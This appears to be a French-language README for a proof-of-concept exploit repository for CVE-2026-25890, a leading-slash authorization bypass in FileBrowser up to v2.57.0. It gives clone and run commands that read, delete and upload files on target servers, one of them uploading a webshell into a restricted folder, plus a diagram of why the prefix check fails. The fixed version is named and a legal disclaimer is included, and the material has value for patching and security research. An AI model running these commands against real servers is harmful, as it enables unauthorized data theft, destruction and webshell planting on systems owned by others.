
Exploit pour CVE-2026-25890, un contournement d'autorisation basé sur le chemin dans FileBrowser <= v2.57.0, permettant aux utilisateurs authentifiés à faibles privilèges de lire, téléverser et supprimer des fichiers restreints via plusieurs barres obliques en tête.
Les utilisateurs non authentifiés ne peuvent pas exploiter cette faille — nécessite des identifiants valides à faibles privilèges restreints pour le chemin cible.
Contournement de l'autorisation basée sur le chemin dans FileBrowser ≤ v2.57.0 en utilisant plusieurs barres obliques de tête (//private au lieu de /private) pour échapper aux vérifications strings.HasPrefix() tandis que le système de fichiers sert toujours le chemin canonique.
Corrigé dans la v2.57.1 (commit 489af403... – suppression de r.SkipClean(true)).
# Cloner le dépôt
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# Aucune dépendance au-delà de la bibliothèque standard + requests
pip install requests
python3 exploit.py --help
# Lire un fichier restreint
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# Téléverser un fichier malveillant dans un dossier restreint
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# Supprimer un fichier restreint
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Attaquant
participant FileBrowser ≤ v2.57.0
participant Routeur Gorilla Mux
participant Middleware d'authentification
participant Gestionnaire du système de fichiers
Attaquant->>FileBrowser: GET /api/resources/private/secret.txt<br>(requête normale)
FileBrowser->>Gorilla Mux: Chemin = /api/resources/private/secret.txt
Gorilla Mux->>Middleware d'authentification: chemin = "/private/secret.txt"
Middleware d'authentification->>Middleware d'authentification: strings.HasPrefix("/private/secret.txt", interdit="/private") → true
Middleware d'authentification->>Attaquant: 403 Interdit
Note over Attaquant,FileBrowser: L'attaquant tente le contournement
Attaquant->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Chemin = /api/resources//private/secret.txt<br>(SkipClean=true → pas de normalisation)
Gorilla Mux->>Middleware d'authentification: chemin = "//private/secret.txt"
Middleware d'authentification->>Middleware d'authentification: HasPrefix("//private/secret.txt", "/private") → false
Middleware d'authentification->>Gestionnaire du système de fichiers: Autorisé → continuer
Gestionnaire du système de fichiers->>Système de fichiers: Normalise // → /private/secret.txt
Système de fichiers->>Gestionnaire du système de fichiers: Renvoie le contenu du fichier
Gestionnaire du système de fichiers->>Attaquant: 200 OK + contenu secret
Cette preuve de concept est fournie strictement à des fins éducatives et de recherche en sécurité.
N'utilisez pas ce code contre un système sans autorisation écrite explicite du propriétaire.
L'accès ou la modification non autorisés de systèmes est illégal dans la plupart des juridictions (par exemple CFAA, Computer Misuse Act).
Auteur de l'exploit : Mohammed Idrees Banyamer
Pays : Jordanie
Instagram : @banyamer_security
Mettez une étoile ⭐ au dépôt si vous le trouvez utile !
Dernière mise à jour : février 2026